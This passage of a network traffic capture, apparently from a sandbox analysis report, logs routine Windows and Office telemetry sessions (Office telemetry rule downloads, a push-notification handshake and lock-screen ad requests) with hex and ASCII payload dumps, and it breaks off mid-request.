22 20 4f 3d 22 74 72 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120651" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120649" /> <SR T="2" R="([Gg][Oo][Oo][Gg][Ll][Ee])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tru

Session ID	Source IP	Source Port	Destination IP	Destination Port
60	192.168.2.6	49794	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-06 17:45:42 UTC	192	OUT	GET /rules/rule120652v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-06 17:45:43 UTC	491	IN	HTTP/1.1 200 OK Date: Fri, 06 Dec 2024 17:45:43 GMT Content-Type: text/xml Content-Length: 471 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:43 GMT ETag: "0x8DC582B97E6FCDD" x-ms-request-id: 45682ef5-801e-0048-7703-48f3fb000000 x-ms-version: 2018-03-28 x-azure-ref: 20241206T174543Z-r1cf579d778qlpkrhC1EWRpfc800000000r000000000503q x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-12-06 17:45:43 UTC	471	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120652" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120651" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
61	192.168.2.6	49795	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-06 17:45:43 UTC	192	OUT	GET /rules/rule120653v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-06 17:45:43 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 06 Dec 2024 17:45:43 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:51 GMT ETag: "0x8DC582B9C710B28" x-ms-request-id: 686307fb-901e-0029-3dcc-45274a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241206T174543Z-1746fd949bdzd2qvhC1EWRcygw000000047000000000pctt x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-06 17:45:43 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 49 69 5d 5b 4e 6e 5d 5b 4e 6e 5d 5b 4f 6f 5d 5b 54 74 5d 5b 45 65 5d 5b 4b 6b 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120653" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120651" /> <SR T="2" R="([Ii][Nn][Nn][Oo][Tt][Ee][Kk])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
62	192.168.2.6	49797	20.198.118.190	443

Timestamp	Bytes transferred	Direction	Data
2024-12-06 17:45:44 UTC	71	OUT	Data Raw: 43 4e 54 20 31 20 43 4f 4e 20 33 30 35 0d 0a 4d 53 2d 43 56 3a 20 2f 66 6b 6f 50 71 6a 55 44 55 32 75 4a 58 34 7a 2e 31 0d 0a 43 6f 6e 74 65 78 74 3a 20 36 64 61 64 30 37 38 62 66 30 62 65 64 34 30 34 0d 0a 0d 0a Data Ascii: CNT 1 CON 305MS-CV: /fkoPqjUDU2uJX4z.1Context: 6dad078bf0bed404
2024-12-06 17:45:44 UTC	249	OUT	Data Raw: 3c 63 6f 6e 6e 65 63 74 3e 3c 76 65 72 3e 32 3c 2f 76 65 72 3e 3c 61 67 65 6e 74 3e 3c 6f 73 3e 57 69 6e 64 6f 77 73 3c 2f 6f 73 3e 3c 6f 73 56 65 72 3e 31 30 2e 30 2e 30 2e 30 2e 31 39 30 34 35 3c 2f 6f 73 56 65 72 3e 3c 70 72 6f 63 3e 78 36 34 3c 2f 70 72 6f 63 3e 3c 6c 63 69 64 3e 65 6e 2d 43 48 3c 2f 6c 63 69 64 3e 3c 67 65 6f 49 64 3e 32 32 33 3c 2f 67 65 6f 49 64 3e 3c 61 6f 61 63 3e 30 3c 2f 61 6f 61 63 3e 3c 64 65 76 69 63 65 54 79 70 65 3e 31 3c 2f 64 65 76 69 63 65 54 79 70 65 3e 3c 64 65 76 69 63 65 4e 61 6d 65 3e 56 4d 77 61 72 65 32 30 2c 31 3c 2f 64 65 76 69 63 65 4e 61 6d 65 3e 3c 66 6f 6c 6c 6f 77 52 65 74 72 79 3e 74 72 75 65 3c 2f 66 6f 6c 6c 6f 77 52 65 74 72 79 3e 3c 2f 61 67 65 6e 74 3e 3c 2f 63 6f 6e 6e 65 63 74 3e Data Ascii: <connect><ver>2</ver><agent><os>Windows</os><osVer>10.0.0.0.19045</osVer><proc>x64</proc><lcid>en-CH</lcid><geoId>223</geoId><aoac>0</aoac><deviceType>1</deviceType><deviceName>VMware20,1</deviceName><followRetry>true</followRetry></agent></connect>
2024-12-06 17:45:44 UTC	1084	OUT	Data Raw: 41 54 48 20 32 20 43 4f 4e 5c 44 45 56 49 43 45 20 31 30 36 31 0d 0a 4d 53 2d 43 56 3a 20 2f 66 6b 6f 50 71 6a 55 44 55 32 75 4a 58 34 7a 2e 32 0d 0a 43 6f 6e 74 65 78 74 3a 20 36 64 61 64 30 37 38 62 66 30 62 65 64 34 30 34 0d 0a 0d 0a 3c 64 65 76 69 63 65 3e 3c 63 6f 6d 70 61 63 74 2d 74 69 63 6b 65 74 3e 74 3d 45 77 43 34 41 75 70 49 42 41 41 55 31 62 44 47 66 64 61 7a 69 44 66 58 70 6a 4e 35 4e 36 63 59 68 54 31 77 62 6d 51 41 41 58 62 36 65 63 70 44 62 6d 52 52 73 79 52 37 6c 75 38 45 34 45 6a 38 48 43 6c 43 2f 44 7a 51 33 4c 31 34 45 53 79 4c 79 75 61 34 47 7a 50 64 79 55 76 36 54 33 55 52 77 58 43 59 49 5a 63 55 47 31 78 32 42 76 36 4c 57 4f 4a 74 42 6c 76 50 4c 76 43 55 78 75 64 76 42 79 66 70 47 62 46 36 2b 32 4d 48 2b 62 2b 6f 37 70 2f 4b 6d 32 Data Ascii: ATH 2 CON\DEVICE 1061MS-CV: /fkoPqjUDU2uJX4z.2Context: 6dad078bf0bed404<device><compact-ticket>t=EwC4AupIBAAU1bDGfdaziDfXpjN5N6cYhT1wbmQAAXb6ecpDbmRRsyR7lu8E4Ej8HClC/DzQ3L14ESyLyua4GzPdyUv6T3URwXCYIZcUG1x2Bv6LWOJtBlvPLvCUxudvByfpGbF6+2MH+b+o7p/Km2
2024-12-06 17:45:44 UTC	218	OUT	Data Raw: 42 4e 44 20 33 20 43 4f 4e 5c 57 4e 53 20 30 20 31 39 37 0d 0a 4d 53 2d 43 56 3a 20 2f 66 6b 6f 50 71 6a 55 44 55 32 75 4a 58 34 7a 2e 33 0d 0a 43 6f 6e 74 65 78 74 3a 20 36 64 61 64 30 37 38 62 66 30 62 65 64 34 30 34 0d 0a 0d 0a 3c 77 6e 73 3e 3c 76 65 72 3e 31 3c 2f 76 65 72 3e 3c 63 6c 69 65 6e 74 3e 3c 6e 61 6d 65 3e 57 50 4e 3c 2f 6e 61 6d 65 3e 3c 76 65 72 3e 31 2e 30 3c 2f 76 65 72 3e 3c 2f 63 6c 69 65 6e 74 3e 3c 6f 70 74 69 6f 6e 73 3e 3c 70 77 72 6d 6f 64 65 20 6d 6f 64 65 3d 22 30 22 3e 3c 2f 70 77 72 6d 6f 64 65 3e 3c 2f 6f 70 74 69 6f 6e 73 3e 3c 6c 61 73 74 4d 73 67 49 64 3e 30 3c 2f 6c 61 73 74 4d 73 67 49 64 3e 3c 2f 77 6e 73 3e Data Ascii: BND 3 CON\WNS 0 197MS-CV: /fkoPqjUDU2uJX4z.3Context: 6dad078bf0bed404<wns><ver>1</ver><client><name>WPN</name><ver>1.0</ver></client><options><pwrmode mode="0"></pwrmode></options><lastMsgId>0</lastMsgId></wns>
2024-12-06 17:45:44 UTC	14	IN	Data Raw: 32 30 32 20 31 20 43 4f 4e 20 35 38 0d 0a Data Ascii: 202 1 CON 58
2024-12-06 17:45:44 UTC	58	IN	Data Raw: 4d 53 2d 43 56 3a 20 62 79 58 67 4a 2b 42 62 4b 55 47 59 6a 51 63 34 58 30 52 54 7a 77 2e 30 0d 0a 0d 0a 50 61 79 6c 6f 61 64 20 70 61 72 73 69 6e 67 20 66 61 69 6c 65 64 2e Data Ascii: MS-CV: byXgJ+BbKUGYjQc4X0RTzw.0Payload parsing failed.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
63	192.168.2.6	49799	20.223.35.26	443

Timestamp	Bytes transferred	Direction	Data
2024-12-06 17:45:44 UTC	2604	OUT	GET /v3/Delivery/Placement?pubid=da63df93-3dbc-42ae-a505-b34988683ac7&pid=338387&adm=2&w=1&h=1&wpx=1&hpx=1&fmt=json&cltp=app&dim=le&rafb=0&nct=1&pm=1&cfmt=text,image,poly&sft=jpeg,png,gif&topt=1&poptin=0&localid=w:068D482D-8F3B-78AE-DAA0-0C08B8FF2AE6&ctry=CH&time=20241206T174539Z&lc=en-CH&pl=en-CH,en-GB&idtp=mid&uid=d215e385-cdc6-4502-a974-fb4c5f95db96&aid=00000000-0000-0000-0000-000000000000&ua=WindowsShellClient%2F9.0.40929.0%20%28Windows%29&asid=b35787354e28460db87022a1a58efab7&ctmode=MultiSession&arch=x64&betaedgever=0.0.0.0&canedgever=0.0.0.0&cdm=1&cdmver=10.0.19041.1023&devedgever=0.0.0.0&devfam=Windows.Desktop&devform=Unknown&devosver=10.0.19045.2006&disphorzres=1280&dispsize=17.1&dispvertres=1024&isu=0&lo=617007&metered=false&nettype=ethernet&npid=sc-338387&oemName=uvisoy%2C%20Inc.&oemid=Public&ossku=Professional&rver=2&sc-mode=0&scmid=Public&smBiosDm=uvisoy20%2C1&stabedgever=117.0.2045.55&svcmpt=Red&svgtng=2&svtmexp=1699747200&svtmupd=1696486876&tl=2&tsu=617007&waasBldFlt=1&waasCfgExp=1&waasCfgSet=1& [TRUNCATED] Accept-Encoding: gzip, deflate X-SDK-CACHE: chs=0&imp=0&chf=0&ds=50543&fs=23594&sc=6 X-SDK-HW-TOKEN: t=EwDoAppeBAAUGoFunEzxzyai/T0i5tnZAAR1eX0AAasc/NOdGgpwsanpRbai4kW3OHkWdYA6KDbRx63FD4O4IWZZaiybbcUzEQ+y8+iETOMbTSC0fkKwKwT9S2x1pEL+4iwzuYzs2zJiTrAdjbws/dzg+0x1isYOJZX1Jajbiaunc9Uurp4DvP5SwNswDR3GFFhANRB8B2AkHz6m1CGK51WYSg2VJu5ynLwl9vjfh7zLX9xl2dWy4XH+W03yEansVUinyBe8xb8qi432nHrNm0D1xzb1xjwK9zldzbHVyivG6nURIO63kFX+/XEhklEXUZNN5bT/wUHycv6NZoZlLGqds1Y1mTKUKI6rZiiYJ6V04jCeMVLHp8zXU2vhUUEQZgAAELOYFiWHpl7/V+fN9llABeOwAXeHbQY3hcIhtoBxTsyoxdm0xrs9bkCik4LAElXKge8YV5nXHr4ceOxs0r9qR8hLl2eI6LN7ljVPE/IxquPLa14n8EH0H0hgDMDZbxJKx4795aB/U23vw4u4e9Y7Zz+dh8MXYQ2zsjK57HE5ec4aMx5usSP47OgnbRPgI5Hvh3knH+staWB+6Z6rqy6TJy3iDsVYBDQPuarAjKwafXSjPmZVexkBw/+b2y3NH5t/XTn4k/Q+OCRbn4F2+FHszL/qqIWrsiWL3Wkl/ZZY0CkPtU5GtXjHUN9a1F7WFqRW6e6WRdUgZ98OebD6H1yaqOucQRiz+c0lh6xkW4u2Xm+pzZAr8FzkUNpAI1qghBIGtvsh8AlHGfoOUkCJoNFfFqdBeXR5sQHPUyyPpwGN+MV7crIv54W2Uh37YhX3ALo/7QkYagEce2DDGD/cMa46yZVkYqltaiuo6/G7Z4r8vNAzZKIla6Xs6HpIvFDsB7vqnadP5f09v1VM0mF7D45ZnR4VArGo55I/TAP8H6zAKb9ZLjqoUGtzP+mJh3sZvCy/AOsC39m3MfXckk5SiyERc4YOQ9gB&p= Cache-Control: no-cache MS-CV: fpZFV58WtUqgL43x.0 User-Agent: WindowsShellClient/9.0.40929.0 (Windows) X-SDK-HWF: arm0,arm640,ble0,cmb0,cmf0,cmr0,dcb1,dcc1,dx91,dxa1,dxb1,gyr0,hce0,hdc0,hov0,hsa0,hss1,kbd1,m041,m060,m080,m120,m160,m200,m301,m751,mA01,mct0,mgn0,mic0,mrc0,mse1,mT01,nfc0,rs10,rs20,rs30,rs40,rs50,rs60,tch0,tel0,v010,v020,v040,x641,x860,x86a640,xbd0,xbo0,xbs0,xbx0,xgp0 Host: arc.msn.com Connection: Keep-Alive
2024-12-06 17:45:45 UTC	815	IN	HTTP/1.1 200 OK Cache-Control: no-cache Pragma: no-cache Content-Length: 23113 Content-Type: application/json; charset=utf-8 Expires: -1 Server: Microsoft-IIS/10.0 ARC-RSP-DBG: [] X-ARC-SIG: EnRwOtsRiSWAO58OW/+f/tyCh98MDOyS9c6M8R166dqwbi3FrS99nW3v30E9DrlHAx3Gex1wb7i4Eq+5rohA4gNUw8qhkKV4kz12GMx2wRVoaTVWGGjngHNpkpxoV9ndKpkg152ZQVUr7P5p/sVzvr7SNHjanErqGIyhnn64hDn7DmxDlVKKoaPAIZpQAjLrK0KxLlynS1K7sTPbLorwR7y3Dq05/9g1LwV2nzMYOTKmCOMZMGB6699xD2dgGE058ScVSKI7eK2bjZyp990yi+7Yyg478CyMmBhs5A1Qvlvgw2eD7VE/mck01N6R5GkVm07jZGW059VWE4/JFUI1BA== Accept-CH: UA, UA-Arch, UA-Full-Version, UA-Mobile, UA-Model, UA-Platform, UA-Platform-Version X-AspNet-Version: 4.0.30319 X-Powered-By: ASP.NET Strict-Transport-Security: max-age=31536000; includeSubDomains Date: Fri, 06 Dec 2024 17:45:44 GMT Connection: close
2024-12-06 17:45:45 UTC	15569	IN	Data Raw: 7b 22 62 61 74 63 68 72 73 70 22 3a 7b 22 76 65 72 22 3a 22 31 2e 30 22 2c 22 69 74 65 6d 73 22 3a 5b 7b 22 69 74 65 6d 22 3a 22 7b 5c 22 66 5c 22 3a 5c 22 72 61 66 5c 22 2c 5c 22 76 5c 22 3a 5c 22 31 2e 30 5c 22 2c 5c 22 72 64 72 5c 22 3a 5b 7b 5c 22 63 5c 22 3a 5c 22 43 44 4d 5c 22 2c 5c 22 75 5c 22 3a 5c 22 53 75 62 73 63 72 69 62 65 64 43 6f 6e 74 65 6e 74 5c 22 7d 5d 2c 5c 22 61 64 5c 22 3a 7b 5c 22 63 6c 61 73 73 5c 22 3a 5c 22 63 6f 6e 74 65 6e 74 5c 22 2c 5c 22 63 6f 6c 6c 65 63 74 69 6f 6e 73 5c 22 3a 5b 5d 2c 5c 22 6e 61 6d 65 5c 22 3a 5c 22 4c 6f 63 6b 53 63 72 65 65 6e 5c 22 2c 5c 22 70 72 6f 70 65 72 74 79 4d 61 6e 69 66 65 73 74 5c 22 3a 7b 5c 22 6c 61 6e 64 73 63 61 70 65 49 6d 61 67 65 5c 22 3a 7b 5c 22 74 79 70 65 5c 22 3a 5c 22 69 6d 61 Data Ascii: {"batchrsp":{"ver":"1.0","items":[{"item":"{\"f\":\"raf\",\"v\":\"1.0\",\"rdr\":[{\"c\":\"CDM\",\"u\":\"SubscribedContent\"}],\"ad\":{\"class\":\"content\",\"collections\":[],\"name\":\"LockScreen\",\"propertyManifest\":{\"landscapeImage\":{\"type\":\"ima
2024-12-06 17:45:45 UTC	7544	IN	Data Raw: 3a 5c 22 4c 6f 63 6b 53 63 72 65 65 6e 5c 22 2c 5c 22 70 72 6f 70 65 72 74 79 4d 61 6e 69 66 65 73 74 5c 22 3a 7b 5c 22 6c 61 6e 64 73 63 61 70 65 49 6d 61 67 65 5c 22 3a 7b 5c 22 74 79 70 65 5c 22 3a 5c 22 69 6d 61 67 65 5c 22 7d 2c 5c 22 70 6f 72 74 72 61 69 74 49 6d 61 67 65 5c 22 3a 7b 5c 22 74 79 70 65 5c 22 3a 5c 22 69 6d 61 67 65 5c 22 7d 2c 5c 22 73 68 6f 77 49 6d 61 67 65 4f 6e 53 65 63 75 72 65 4c 6f 63 6b 5c 22 3a 7b 5c 22 69 73 4f 70 74 69 6f 6e 61 6c 5c 22 3a 74 72 75 65 2c 5c 22 74 79 70 65 5c 22 3a 5c 22 62 6f 6f 6c 65 61 6e 5c 22 7d 2c 5c 22 6f 6e 52 65 6e 64 65 72 5c 22 3a 7b 5c 22 74 79 70 65 5c 22 3a 5c 22 61 63 74 69 6f 6e 5c 22 7d 7d 2c 5c 22 70 72 6f 70 65 72 74 69 65 73 5c 22 3a 7b 5c 22 6c 61 6e 64 73 63 61 70 65 49 6d 61 67 65 5c Data Ascii: :\"LockScreen\",\"propertyManifest\":{\"landscapeImage\":{\"type\":\"image\"},\"portraitImage\":{\"type\":\"image\"},\"showImageOnSecureLock\":{\"isOptional\":true,\"type\":\"boolean\"},\"onRender\":{\"type\":\"action\"}},\"properties\":{\"landscapeImage\

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
64	192.168.2.6	49800	20.223.35.26	443

Timestamp	Bytes transferred	Direction	Data
2024-12-06 17:45:44 UTC	2587	OUT	GET /v3/Delivery/Placement?pubid=da63df93-3dbc-42ae-a505-b34988683ac7&pid=280815&adm=2&w=1&h=1&wpx=1&hpx=1&fmt=json&cltp=app&dim=le&rafb=0&nct=1&pm=1&cfmt=text,image,poly&sft=jpeg,png,gif&topt=1&poptin=0&localid=w:068D482D-8F3B-78AE-DAA0-0C08B8FF2AE6&ctry=CH&time=20241206T174539Z&lc=en-CH&pl=en-CH,en-GB&idtp=mid&uid=d215e385-cdc6-4502-a974-fb4c5f95db96&aid=00000000-0000-0000-0000-000000000000&ua=WindowsShellClient%2F9.0.40929.0%20%28Windows%29&asid=b50cf9998eab4ed7a7c5592ae5479a64&ctmode=MultiSession&arch=x64&betaedgever=0.0.0.0&canedgever=0.0.0.0&cdm=1&cdmver=10.0.19041.1023&devedgever=0.0.0.0&devfam=Windows.Desktop&devform=Unknown&devosver=10.0.19045.2006&disphorzres=1280&dispsize=17.1&dispvertres=1024&isu=0&lo=617007&metered=false&nettype=ethernet&npid=sc-280815&oemName=uvisoy%2C%20Inc.&oemid=Public&ossku=Professional&scmid=Public&smBiosDm=uvisoy20%2C1&stabedgever=117.0.2045.55&svcmpt=Red&svgtng=2&svtmexp=1699747200&svtmupd=1696486876&tl=2&tsu=617007&waasBldFlt=1&waasCfgExp=1&waasCfgSet=1&waasRetail=1&waas [TRUNCATED] Accept-Encoding: gzip, deflate X-SDK-CACHE: chs=0&imp=0&chf=0&ds=50543&fs=23594&sc=6 X-SDK-HW-TOKEN: t=EwDoAppeBAAUGoFunEzxzyai/T0i5tnZAAR1eX0AAasc/NOdGgpwsanpRbai4kW3OHkWdYA6KDbRx63FD4O4IWZZaiybbcUzEQ+y8+iETOMbTSC0fkKwKwT9S2x1pEL+4iwzuYzs2zJiTrAdjbws/dzg+0x1isYOJZX1Jajbiaunc9Uurp4DvP5SwNswDR3GFFhANRB8B2AkHz6m1CGK51WYSg2VJu5ynLwl9vjfh7zLX9xl2dWy4XH+W03yEansVUinyBe8xb8qi432nHrNm0D1xzb1xjwK9zldzbHVyivG6nURIO63kFX+/XEhklEXUZNN5bT/wUHycv6NZoZlLGqds1Y1mTKUKI6rZiiYJ6V04jCeMVLHp8zXU2vhUUEQZgAAELOYFiWHpl7/V+fN9llABeOwAXeHbQY3hcIhtoBxTsyoxdm0xrs9bkCik4LAElXKge8YV5nXHr4ceOxs0r9qR8hLl2eI6LN7ljVPE/IxquPLa14n8EH0H0hgDMDZbxJKx4795aB/U23vw4u4e9Y7Zz+dh8MXYQ2zsjK57HE5ec4aMx5usSP47OgnbRPgI5Hvh3knH+staWB+6Z6rqy6TJy3iDsVYBDQPuarAjKwafXSjPmZVexkBw/+b2y3NH5t/XTn4k/Q+OCRbn4F2+FHszL/qqIWrsiWL3Wkl/ZZY0CkPtU5GtXjHUN9a1F7WFqRW6e6WRdUgZ98OebD6H1yaqOucQRiz+c0lh6xkW4u2Xm+pzZAr8FzkUNpAI1qghBIGtvsh8AlHGfoOUkCJoNFfFqdBeXR5sQHPUyyPpwGN+MV7crIv54W2Uh37YhX3ALo/7QkYagEce2DDGD/cMa46yZVkYqltaiuo6/G7Z4r8vNAzZKIla6Xs6HpIvFDsB7vqnadP5f09v1VM0mF7D45ZnR4VArGo55I/TAP8H6zAKb9ZLjqoUGtzP+mJh3sZvCy/AOsC39m3MfXckk5SiyERc4YOQ9gB&p= Cache-Control: no-cache MS-CV: fpZFV58WtUqgL43x.0 User-Agent: WindowsShellClient/9.0.40929.0 (Windows) X-SDK-HWF: arm0,arm640,ble0,cmb0,cmf0,cmr0,dcb1,dcc1,dx91,dxa1,dxb1,gyr0,hce0,hdc0,hov0,hsa0,hss1,kbd1,m041,m060,m080,m120,m160,m200,m301,m751,mA01,mct0,mgn0,mic0,mrc0,mse1,mT01,nfc0,rs10,rs20,rs30,rs40,rs50,rs60,tch0,tel0,v010,v020,v040,x641,x860,x86a640,xbd0,xbo0,xbs0,xbx0,xgp0 Host: arc.msn.com Connection: Keep-Alive
2024-12-06 17:45:44 UTC	955	IN	HTTP/1.1 200 OK Cache-Control: no-store, no-cache Pragma: no-cache Content-Length: 2939 Content-Type: application/json; charset=utf-8 Expires: Mon, 01 Jan 0001 00:00:00 GMT Server: Microsoft-IIS/10.0 ARC-RSP-DBG: [{"RADIDS":"1,P425116123-T1-C128000000001627409+B+P20+S1"},{"OPTOUTSTATE":"65792"},{"REGIONALPOLICY":"1"}] X-ARC-SIG: u1zR+PhmWJd8obi76ElO4y08TjZzmvQdD9t6hWMb8QqmmRZGOb+zl1GjmSH6kJ9Sj0m2XgTyJw9ftaMbtR2zckKUsdoCXWF6mcHYp266JIK0DCEJOtfpMjv5LUtUYs2szFAIT40N8JkdjU25nn/XT6Ht9u0GPSfyYLcdyID03IQbYi5zrLebrQ85c4E0SXdSuXrsn0SFbe06eLPnZKPf4sJ3JMAVaqRDr0Wl2R0boL5ICzWzVd1uxoiGUZlbj72BGdwKbvHzCvtUtKwh7PMieKUzOOcs28jlkyFJ5olWwHkgLoZDKa3H9a/1Tr1zFlzFQ6J8NH0vP6N4cZt3CEOQtg== Accept-CH: UA, UA-Arch, UA-Full-Version, UA-Mobile, UA-Model, UA-Platform, UA-Platform-Version X-AspNet-Version: 4.0.30319 X-Powered-By: ASP.NET Strict-Transport-Security: max-age=31536000; includeSubDomains Date: Fri, 06 Dec 2024 17:45:43 GMT Connection: close
2024-12-06 17:45:44 UTC	2939	IN	Data Raw: 7b 22 62 61 74 63 68 72 73 70 22 3a 7b 22 76 65 72 22 3a 22 31 2e 30 22 2c 22 69 74 65 6d 73 22 3a 5b 7b 22 69 74 65 6d 22 3a 22 7b 5c 22 66 5c 22 3a 5c 22 72 61 66 5c 22 2c 5c 22 76 5c 22 3a 5c 22 31 2e 30 5c 22 2c 5c 22 72 64 72 5c 22 3a 5b 7b 5c 22 63 5c 22 3a 5c 22 43 44 4d 5c 22 2c 5c 22 75 5c 22 3a 5c 22 53 75 62 73 63 72 69 62 65 64 43 6f 6e 74 65 6e 74 5c 22 7d 5d 2c 5c 22 61 64 5c 22 3a 7b 5c 22 63 6c 61 73 73 5c 22 3a 5c 22 63 6f 6e 74 65 6e 74 5c 22 2c 5c 22 63 6f 6c 6c 65 63 74 69 6f 6e 73 5c 22 3a 5b 5d 2c 5c 22 69 74 65 6d 50 72 6f 70 65 72 74 79 4d 61 6e 69 66 65 73 74 5c 22 3a 7b 5c 22 6e 6f 4f 70 5c 22 3a 7b 5c 22 74 79 70 65 5c 22 3a 5c 22 61 63 74 69 6f 6e 5c 22 7d 7d 2c 5c 22 69 74 65 6d 73 5c 22 3a 5b 7b 5c 22 70 72 6f 70 65 72 74 69 Data Ascii: {"batchrsp":{"ver":"1.0","items":[{"item":"{\"f\":\"raf\",\"v\":\"1.0\",\"rdr\":[{\"c\":\"CDM\",\"u\":\"SubscribedContent\"}],\"ad\":{\"class\":\"content\",\"collections\":[],\"itemPropertyManifest\":{\"noOp\":{\"type\":\"action\"}},\"items\":[{\"properti

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
65	192.168.2.6	49798	20.223.35.26	443

Timestamp	Bytes transferred	Direction	Data
2024-12-06 17:45:44 UTC	2594	OUT	GET /v3/Delivery/Placement?pubid=da63df93-3dbc-42ae-a505-b34988683ac7&pid=338388&adm=2&w=1&h=1&wpx=1&hpx=1&fmt=json&cltp=app&dim=le&rafb=0&nct=1&pm=1&cfmt=text,image,poly&sft=jpeg,png,gif&topt=1&poptin=0&localid=w:068D482D-8F3B-78AE-DAA0-0C08B8FF2AE6&ctry=CH&time=20241206T174539Z&lc=en-CH&pl=en-CH,en-GB&idtp=mid&uid=d215e385-cdc6-4502-a974-fb4c5f95db96&aid=00000000-0000-0000-0000-000000000000&ua=WindowsShellClient%2F9.0.40929.0%20%28Windows%29&asid=f0f8de1739df45438ea3ceabbb2d666d&ctmode=MultiSession&arch=x64&betaedgever=0.0.0.0&canedgever=0.0.0.0&cdm=1&cdmver=10.0.19041.1023&devedgever=0.0.0.0&devfam=Windows.Desktop&devform=Unknown&devosver=10.0.19045.2006&disphorzres=1280&dispsize=17.1&dispvertres=1024&isu=0&lo=617007&metered=false&nettype=ethernet&npid=sc-338388&oemName=uvisoy%2C%20Inc.&oemid=Public&ossku=Professional&rver=2&scmid=Public&smBiosDm=uvisoy20%2C1&stabedgever=117.0.2045.55&svcmpt=Red&svgtng=2&svtmexp=1699747200&svtmupd=1696486876&tl=2&tsu=617007&waasBldFlt=1&waasCfgExp=1&waasCfgSet=1&waasRetail [TRUNCATED] Accept-Encoding: gzip, deflate X-SDK-CACHE: chs=0&imp=0&chf=0&ds=50543&fs=23594&sc=6 X-SDK-HW-TOKEN: t=EwDoAppeBAAUGoFunEzxzyai/T0i5tnZAAR1eX0AAasc/NOdGgpwsanpRbai4kW3OHkWdYA6KDbRx63FD4O4IWZZaiybbcUzEQ+y8+iETOMbTSC0fkKwKwT9S2x1pEL+4iwzuYzs2zJiTrAdjbws/dzg+0x1isYOJZX1Jajbiaunc9Uurp4DvP5SwNswDR3GFFhANRB8B2AkHz6m1CGK51WYSg2VJu5ynLwl9vjfh7zLX9xl2dWy4XH+W03yEansVUinyBe8xb8qi432nHrNm0D1xzb1xjwK9zldzbHVyivG6nURIO63kFX+/XEhklEXUZNN5bT/wUHycv6NZoZlLGqds1Y1mTKUKI6rZiiYJ6V04jCeMVLHp8zXU2vhUUEQZgAAELOYFiWHpl7/V+fN9llABeOwAXeHbQY3hcIhtoBxTsyoxdm0xrs9bkCik4LAElXKge8YV5nXHr4ceOxs0r9qR8hLl2eI6LN7ljVPE/IxquPLa14n8EH0H0hgDMDZbxJKx4795aB/U23vw4u4e9Y7Zz+dh8MXYQ2zsjK57HE5ec4aMx5usSP47OgnbRPgI5Hvh3knH+staWB+6Z6rqy6TJy3iDsVYBDQPuarAjKwafXSjPmZVexkBw/+b2y3NH5t/XT